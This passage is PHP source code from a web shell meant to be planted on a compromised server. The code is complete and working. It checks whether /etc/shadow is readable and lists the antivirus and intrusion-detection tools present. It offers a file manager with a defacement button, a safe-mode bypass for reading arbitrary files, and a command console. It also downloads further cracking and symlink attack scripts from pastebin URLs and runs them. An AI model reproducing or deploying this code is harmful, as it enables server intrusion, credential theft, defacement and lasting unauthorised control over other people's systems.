  580.         $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  581.         $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  582.         showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  583.         showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  584.         showSecParam('OS version', @file_get_contents('/proc/version'));
  585.         showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  586.         if(!$GLOBALS['safe_mode']) {
  587.             echo '<br>';
  588.             $temp=array();
  589.             foreach ($userful as $item)
  590.                 if(which($item)){$temp[]=$item;}
  591.             showSecParam('Userful', implode(', ',$temp));
  592.             $temp=array();
  593.             foreach ($danger as $item)
  594.                 if(which($item)){$temp[]=$item;}
  595.             showSecParam('Danger', implode(', ',$temp));
  596.             $temp=array();
  597.             foreach ($downloaders as $item)
  598.                 if(which($item)){$temp[]=$item;}
  599.             showSecParam('Downloaders', implode(', ',$temp));
  600.             echo '<br/>';
  601.             showSecParam('Hosts', @file_get_contents('/etc/hosts'));
  602.             showSecParam('HDD space', ex('df -h'));
  603.             showSecParam('Mount options', @file_get_contents('/etc/fstab'));
  604.         }
  605.     } else {
  606.         showSecParam('OS Version',ex('ver'));
  607.         showSecParam('Account Settings',ex('net accounts'));
  608.         showSecParam('User Accounts',ex('net user'));
  609.     }
  610.     echo '</div>';
  611.     printFooter();
  612. }
  613.  
  614. function actionFilesMan() {
  615.     printHeader();
  616.     echo '<h1>File manager</h1><div class=content>';
  617.     if(isset($_POST['p1']) && $_POST['p1']!='deface') {
  618.         switch($_POST['p1']) {
  619.             case 'uploadFile':
  620.                 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  621.                     echo "Can't upload file!";
  622.                 break;
  623.                 break;
  624.             case 'mkdir':
  625.                 if(!@mkdir($_POST['p2']))
  626.                     echo "Can't create new dir";
  627.                 break;
  628.             case 'delete':
  629.                 function deleteDir($path) {
  630.                     $path = (substr($path,-1)=='/') ? $path:$path.'/';
  631.                     $dh  = opendir($path);
  632.                     while ( ($item = readdir($dh) ) !== false) {
  633.                         $item = $path.$item;
  634.                         if ( (basename($item) == "..") || (basename($item) == ".") )
  635.                             continue;
  636.                         $type = filetype($item);
  637.                         if ($type == "dir")
  638.                             deleteDir($item);
  639.                         else
  640.                             @unlink($item);
  641.                     }
  642.                     closedir($dh);
  643.                     rmdir($path);
  644.                 }
  645.                 if(is_array(@$_POST['f']))
  646.                     foreach($_POST['f'] as $f) {
  647.                         $f = urldecode($f);
  648.                         if(is_dir($f))
  649.                             deleteDir($f);
  650.                         else
  651.                             @unlink($f);
  652.                     }
  653.                 break;
  654.                        
  655.  
  656.                    
  657.                
  658.             case 'paste':
  659.                 if($_SESSION['act'] == 'copy') {
  660.                     function copy_paste($c,$s,$d){
  661.                         if(is_dir($c.$s)){
  662.                             mkdir($d.$s);
  663.                             $h = opendir($c.$s);
  664.                             while (($f = readdir($h)) !== false)
  665.                                 if (($f != ".") and ($f != "..")) {
  666.                                     copy_paste($c.$s.'/',$f, $d.$s.'/');
  667.                                 }
  668.                         } elseif(is_file($c.$s)) {
  669.                             @copy($c.$s, $d.$s);
  670.                         }
  671.                     }
  672.                     foreach($_SESSION['f'] as $f)
  673.                         copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);                    
  674.                 } elseif($_SESSION['act'] == 'move') {
  675.                     function move_paste($c,$s,$d){
  676.                         if(is_dir($c.$s)){
  677.                             mkdir($d.$s);
  678.                             $h = opendir($c.$s);
  679.                             while (($f = readdir($h)) !== false)
  680.                                 if (($f != ".") and ($f != "..")) {
  681.                                     copy_paste($c.$s.'/',$f, $d.$s.'/');
  682.                                 }
  683.                         } elseif(is_file($c.$s)) {
  684.                             @copy($c.$s, $d.$s);
  685.                         }
  686.                     }
  687.                     foreach($_SESSION['f'] as $f)
  688.                         @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
  689.                 }
  690.                 unset($_SESSION['f']);
  691.                 break;
  692.             default:
  693.                 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
  694.                     $_SESSION['act'] = @$_POST['p1'];
  695.                     $_SESSION['f'] = @$_POST['f'];
  696.                     foreach($_SESSION['f'] as $k => $f)
  697.                         $_SESSION['f'][$k] = urldecode($f);
  698.                     $_SESSION['cwd'] = @$_POST['c'];
  699.                 }
  700.                 break;
  701.         }
  702.         echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
  703.     }
  704.  
  705.     $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  706.     if($dirContent === false) {    echo 'Can\'t open this folder!'; return;    }
  707.     global $sort;
  708.     $sort = array('name', 1);
  709.     if(!empty($_POST['p1'])) {
  710.         if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  711.             $sort = array($match[1], (int)$match[2]);
  712.     }
  713.     echo '<script>
  714.        function sa() {
  715.            for(i=0;i<document.files.elements.length;i++)
  716.            if(document.files.elements[i].type == \'checkbox\')
  717.                document.files.elements[i].checked = document.files.elements[0].checked;
  718.        }
  719.        </script>
  720.        <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
  721.        <form name=files method=post>';
  722.     echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  723.     $dirs = $files = $links = array();
  724.     $n = count($dirContent);
  725.     for($i=0;$i<$n;$i++) {
  726.         $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  727.         $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  728.         $tmp = array('name' => $dirContent[$i],
  729.                      'path' => $GLOBALS['cwd'].$dirContent[$i],
  730.                      'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
  731.                      'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
  732.                      'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  733.                      'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  734.                      'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  735.                     );
  736.         if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
  737.             $files[] = array_merge($tmp, array('type' => 'file'));
  738.         elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
  739.             $links[] = array_merge($tmp, array('type' => 'link'));
  740.         elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
  741.             $dirs[] = array_merge($tmp, array('type' => 'dir'));
  742.     }
  743.     $GLOBALS['sort'] = $sort;
  744.     function cmp($a, $b) {
  745.         if($GLOBALS['sort'][0] != 'size')
  746.             return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
  747.         else
  748.             return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  749.     }
  750.     usort($files, "cmp");
  751.     usort($dirs, "cmp");
  752.     usort($links, "cmp");
  753.     $files = array_merge($dirs, $links, $files);
  754.     $l = 0;
  755.     foreach($files as $f) {
  756.         echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  757.             .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  758.         $l = $l?0:1;
  759.     }
  760.     echo '<tr><td colspan=5>
  761.    <input type=hidden name=a value=\'FilesMan\'>
  762.    <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  763.    <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  764.    <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
  765.     if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
  766.     echo '</select>&nbsp;<input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="index.php" size="10"/>&nbsp;<input type="button" onclick="g(\'FilesMan\',\''.htmlspecialchars($GLOBALS['cwd']).'\',\'deface\',document.getElementById(\'def\').value)" value="Add your Deface"></td></tr>
  767.    </form></table></div>';
  768.     printFooter();
  769. }
  770.  
  771. function actionStringTools() {
  772.     if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  773.     if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  774.     if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
  775.     if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  776.    
  777.     if(isset($_POST['ajax'])) {
  778.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  779.         ob_start();
  780.         if(function_exists($_POST['p1']))
  781.             echo $_POST['p1']($_POST['p2']);
  782.         $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  783.         echo strlen($temp), "\n", $temp;
  784.         exit;
  785.     }
  786.     printHeader();
  787.     echo '<h1>String conversions</h1><div class=content>';
  788.     $stringTools = array(
  789.         'Base64 encode' => 'base64_encode',
  790.         'Base64 decode' => 'base64_decode',
  791.         'Url encode' => 'urlencode',
  792.         'Url decode' => 'urldecode',
  793.         'Full urlencode' => 'full_urlencode',
  794.         'md5 hash' => 'md5',
  795.         'sha1 hash' => 'sha1',
  796.         'crypt' => 'crypt',
  797.         'CRC32' => 'crc32',
  798.         'ASCII to HEX' => 'ascii2hex',
  799.         'HEX to ASCII' => 'hex2ascii',
  800.         'HEX to DEC' => 'hexdec',
  801.         'HEX to BIN' => 'hex2bin',
  802.         'DEC to HEX' => 'dechex',
  803.         'DEC to BIN' => 'decbin',
  804.         'BIN to HEX' => 'bin2hex',
  805.         'BIN to DEC' => 'bindec',        
  806.         'String to lower case' => 'strtolower',
  807.         'String to upper case' => 'strtoupper',
  808.         'Htmlspecialchars' => 'htmlspecialchars',
  809.         'String length' => 'strlen',
  810.     );
  811.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  812.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  813.     echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  814.     foreach($stringTools as $k => $v)
  815.         echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  816.         echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  817.     if(!empty($_POST['p1'])) {
  818.         if(function_exists($_POST['p1']))
  819.         echo htmlspecialchars($_POST['p1']($_POST['p2']));
  820.     }
  821.     echo"</pre></div>";
  822.     printFooter();
  823. }
  824.  
  825. function actionFilesTools() {
  826.     if( isset($_POST['p1']) )
  827.         $_POST['p1'] = urldecode($_POST['p1']);
  828.     if(@$_POST['p2']=='download') {
  829.         if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
  830.             ob_start("ob_gzhandler", 4096);
  831.             header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  832.             if (function_exists("mime_content_type")) {
  833.                 $type = @mime_content_type($_POST['p1']);
  834.                 header("Content-Type: ".$type);
  835.             }
  836.             $fp = @fopen($_POST['p1'], "r");
  837.             if($fp) {
  838.                 while(!@feof($fp))
  839.                     echo @fread($fp, 1024);
  840.                 fclose($fp);
  841.             }
  842.         } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
  843.  
  844.         }
  845.         exit;
  846.     }
  847.     if( @$_POST['p2'] == 'mkfile' ) {
  848.         if(!file_exists($_POST['p1'])) {
  849.             $fp = @fopen($_POST['p1'], 'w');
  850.             if($fp) {
  851.                 $_POST['p2'] = "edit";
  852.                 fclose($fp);
  853.             }
  854.         }
  855.     }
  856.     printHeader();
  857.     echo '<h1>File tools</h1><div class=content>';
  858.     if( !file_exists(@$_POST['p1']) ) {
  859.         echo 'File not exists';
  860.         printFooter();
  861.         return;
  862.     }
  863.     $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  864.     $gid = @posix_getgrgid(@fileowner($_POST['p1']));
  865.     echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  866.     echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  867.     if( empty($_POST['p2']) )
  868.         $_POST['p2'] = 'view';
  869.     if( is_file($_POST['p1']) )
  870.         $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  871.     else
  872.         $m = array('Chmod', 'Rename', 'Touch');
  873.     foreach($m as $v)
  874.         echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  875.     echo '<br><br>';
  876.     switch($_POST['p2']) {
  877.         case 'view':
  878.             echo '<pre class=ml1>';
  879.             $fp = @fopen($_POST['p1'], 'r');
  880.             if($fp) {
  881.                 while( !@feof($fp) )
  882.                     echo htmlspecialchars(@fread($fp, 1024));
  883.                 @fclose($fp);
  884.             }
  885.             echo '</pre>';
  886.             break;
  887.         case 'highlight':
  888.             if( is_readable($_POST['p1']) ) {
  889.                 echo '<div class=ml1 style="background-color: black;color:black;">';
  890.                 $code = highlight_file($_POST['p1'],true);
  891.                 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  892.             }
  893.             break;
  894.         case 'chmod':
  895.             if( !empty($_POST['p3']) ) {
  896.                 $perms = 0;
  897.                 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  898.                     $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  899.                 if(!@chmod($_POST['p1'], $perms))
  900.                     echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  901.                 else
  902.                     die('<script>g(null,null,null,null,"")</script>');
  903.             }
  904.             echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  905.             break;
  906.         case 'edit':
  907.             if( !is_writable($_POST['p1'])) {
  908.                 echo 'File isn\'t writeable';
  909.                 break;
  910.             }
  911.             if( !empty($_POST['p3']) ) {
  912.                 @file_put_contents($_POST['p1'],$_POST['p3']);
  913.                 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
  914.             }
  915.             echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
  916.             $fp = @fopen($_POST['p1'], 'r');
  917.             if($fp) {
  918.                 while( !@feof($fp) )
  919.                     echo htmlspecialchars(@fread($fp, 1024));
  920.                 @fclose($fp);
  921.             }
  922.             echo '</textarea><input type=submit value=">>"></form>';
  923.             break;
  924.         case 'hexdump':
  925.             $c = @file_get_contents($_POST['p1']);
  926.             $n = 0;
  927.             $h = array('00000000<br>','','');
  928.             $len = strlen($c);
  929.             for ($i=0; $i<$len; ++$i) {
  930.                 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  931.                 switch ( ord($c[$i]) ) {
  932.                     case 0:  $h[2] .= ' '; break;
  933.                     case 9:  $h[2] .= ' '; break;
  934.                     case 10: $h[2] .= ' '; break;
  935.                     case 13: $h[2] .= ' '; break;
  936.                     default: $h[2] .= $c[$i]; break;
  937.                 }
  938.                 $n++;
  939.                 if ($n == 32) {
  940.                     $n = 0;
  941.                     if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  942.                     $h[1] .= '<br>';
  943.                     $h[2] .= "\n";
  944.                 }
  945.              }
  946.             echo '<table cellspacing=1 cellpadding=5 bgcolor=#red><tr><td bgcolor=red><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#red><pre>'.$h[1].'</pre></td><td bgcolor=#red><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  947.             break;
  948.         case 'rename':
  949.             if( !empty($_POST['p3']) ) {
  950.                 if(!@rename($_POST['p1'], $_POST['p3']))
  951.                     echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
  952.                 else
  953.                     die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  954.             }
  955.             echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  956.             break;
  957.         case 'touch':
  958.             if( !empty($_POST['p3']) ) {
  959.                 $time = strtotime($_POST['p3']);
  960.                 if($time) {
  961.                     if(@touch($_POST['p1'],$time,$time))
  962.                         die('<script>g(null,null,null,null,"")</script>');
  963.                     else {
  964.                         echo 'Fail!<script>document.mf.p3.value="";</script>';
  965.                     }
  966.                 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
  967.             }
  968.             echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  969.             break;
  970.         case 'mkfile':
  971.            
  972.             break;
  973.     }
  974.     echo '</div>';
  975.     printFooter();
  976. }
  977.  
  978. function actionSafeMode() {
  979.     $temp='';
  980.     ob_start();
  981.     switch($_POST['p1']) {
  982.         case 1:
  983.             $temp=@tempnam($test, 'cx');
  984.             if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  985.                 echo @file_get_contents($temp);
  986.                 unlink($temp);
  987.             } else
  988.                 echo 'Sorry... Can\'t open file';
  989.             break;
  990.         case 2:
  991.             $files = glob($_POST['p2'].'*');
  992.             if( is_array($files) )
  993.                 foreach ($files as $filename)
  994.                     echo $filename."\n";
  995.             break;
  996.         case 3:
  997.             $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
  998.             curl_exec($ch);
  999.             break;
  1000.         case 4:
  1001.             ini_restore("safe_mode");
  1002.             ini_restore("open_basedir");
  1003.             include($_POST['p2']);
  1004.             break;
  1005.         case 5:
  1006.             for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  1007.                 $uid = @posix_getpwuid($_POST['p2']);
  1008.                 if ($uid)
  1009.                     echo join(':',$uid)."\n";
  1010.             }
  1011.             break;
  1012.         case 6:
  1013.             if(!function_exists('imap_open'))break;
  1014.             $stream = imap_open($_POST['p2'], "", "");
  1015.             if ($stream == FALSE)
  1016.                 break;
  1017.             echo imap_body($stream, 1);
  1018.             imap_close($stream);
  1019.             break;
  1020.     }
  1021.     $temp = ob_get_clean();
  1022.     printHeader();
  1023.     echo '<h1>Safe mode bypass</h1><div class=content>';
  1024.     echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
  1025.     if($temp)
  1026.         echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
  1027.     echo '</div>';
  1028.     printFooter();
  1029. }
  1030.  
  1031. function actionConsole() {
  1032.     if(isset($_POST['ajax'])) {
  1033.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1034.         ob_start();
  1035.         echo "document.cf.cmd.value='';\n";
  1036.         $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
  1037.         if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))    {
  1038.             if(@chdir($match[1])) {
  1039.                 $GLOBALS['cwd'] = @getcwd();
  1040.                 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
  1041.             }
  1042.         }
  1043.         echo "document.cf.output.value+='".$temp."';";
  1044.         echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
  1045.         $temp = ob_get_clean();
  1046.         echo strlen($temp), "\n", $temp;
  1047.         exit;
  1048.     }
  1049.     printHeader();
  1050.  
  1051. echo '<script>
  1052. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1053. var cmds = new Array("");
  1054. var cur = 0;
  1055. function kp(e) {
  1056.    var n = (window.Event) ? e.which : e.keyCode;
  1057.    if(n == 38) {
  1058.        cur--;
  1059.        if(cur>=0)
  1060.            document.cf.cmd.value = cmds[cur];
  1061.        else
  1062.            cur++;
  1063.    } else if(n == 40) {
  1064.        cur++;
  1065.        if(cur < cmds.length)
  1066.            document.cf.cmd.value = cmds[cur];
  1067.        else
  1068.            cur--;
  1069.    }
  1070. }
  1071. function add(cmd) {
  1072.    cmds.pop();
  1073.    cmds.push(cmd);
  1074.    cmds.push("");
  1075.    cur = cmds.length-1;
  1076. }
  1077. </script>';
  1078.     echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
  1079.     foreach($GLOBALS['aliases'] as $n => $v) {
  1080.         if($v == '') {
  1081.             echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1082.             continue;
  1083.         }
  1084.         echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1085.     }
  1086.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1087.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1088.     echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
  1089.     if(!empty($_POST['p1'])) {
  1090.         echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
  1091.     }
  1092.     echo '</textarea><input type=text name=cmd style="border-top:1;width:100%;" onkeydown="kp(event);">';
  1093.     echo '</form></div><script>document.cf.cmd.focus();</script>';
  1094.     printFooter();
  1095. }
  1096.  
  1097. function actionLogout() {
  1098.     unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  1099.     echo '<title>Get out Now</title><body bgcolor=#000000><center><img src="http://i63.tinypic.com/1108vic.jpg"><br>
  1100. <style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
  1101. <span style="color:red;font: 20pt audiowide;">Your are out now :D<br>www.facebook.com/smevkpathan</h2></span></center></body>';
  1102. }
  1103.  
  1104. function actionSelfRemove() {
  1105.     printHeader();
  1106.     if($_POST['p1'] == 'yes') {
  1107.         if(@unlink(SELF_PATH))
  1108.             die('Shell has been removed');
  1109.         else
  1110.             echo 'unlink error!';
  1111.     }
  1112.     echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1113.     printFooter();
  1114. }
  1115. ///my editing start here for tools
  1116.     function download_remote_file($file_url, $save_to)
  1117.     {
  1118.         $content = file_get_contents($file_url);
  1119.  
  1120.         file_put_contents($save_to, $content);
  1121.  
  1122.     }
  1123.     if (isset($_POST['dhanush'])) {
  1124.         download_remote_file('http://pastebin.com/raw.php?i=U9nqEgRN', realpath("./") . '/dhanush.php');
  1125.         header("location:dhanush.php");
  1126.  
  1127.     }
  1128.     if (isset($_POST['SymlinkbySmevk'])) {
  1129.         download_remote_file('http://pastebin.com/raw.php?i=PhSk7Kvq', realpath("./") . '/SymlinkbySmevk.php');
  1130.         header("location:SymlinkbySmevk.php");
  1131.    
  1132.     }
  1133.         if (isset($_POST['SymlinkbyCheetah'])) {
  1134.         download_remote_file('http://pastebin.com/raw.php?i=EXejgAMv', realpath("./") . '/SymlinkbyCheetah.php');
  1135.         header("location:SymlinkbyCheetah.php");
  1136.    
  1137.     }
  1138.         if (isset($_POST['SymlinkbyTorjan'])) {
  1139.         download_remote_file('http://pastebin.com/raw.php?i=YUg4pXe2', realpath("./") . '/sym.py');
  1140.         echo "<script>alert('Script is here /sym.py execute it from there.Type in console (Python sym.py)')</script>";
  1141.        
  1142.    
  1143.     }
  1144.         if (isset($_POST['CpanelCracker'])) {
  1145.         download_remote_file('http://pastebin.com/raw.php?i=zYxsP0MH', realpath("./") . '/CpanelCracker.php');
  1146.         header("location:CpanelCracker.php");
  1147.    
  1148.     }
  1149.         if (isset($_POST['Dblogin'])) {
  1150.         download_remote_file('http://pastebin.com/raw.php?i=Q52G9kjJ', realpath("./") . '/Dblogin.php');
  1151.         header("location:Dblogin.php");
  1152.    
  1153.     }
  1154.     if (isset($_POST['CpanelkbyGujjar'])) {
  1155.         download_remote_file('http://pastebin.com/raw.php?i=NM9SD9bV', realpath("./") . '/CpanelkbyGujjar.php');
  1156.         header("location:CpanelkbyGujjar.php");
  1157.    
  1158.     }
  1159.         if (isset($_POST['b374k'])) {
  1160.         download_remote_file('http://pastebin.com/raw.php?i=1iDZfjZ9', realpath("./") . '/b374k.php');
  1161.         header("location:b374k.php");
  1162.    
  1163.     }
  1164.             if (isset($_POST['ZonehMassPoster'])) {
  1165.         download_remote_file('http://pastebin.com/raw.php?i=mDXnSnj2', realpath("./") . '/ZonehMassPoster.php');
  1166.         header("location:ZonehMassPoster.php");
  1167.    
  1168.     }
  1169.                 if (isset($_POST['Whmcs'])) {
  1170.         download_remote_file('http://pastebin.com/raw.php?i=K0KQWUCk', realpath("./") . '/Whmcs.php');
  1171.         header("location:Whmcs.php");
  1172.    
  1173.     }
  1174.  
  1175.  
  1176.  
  1177.  
  1178.  
  1179.  
  1180. function actionImportScripts() {
  1181.     printHeader();
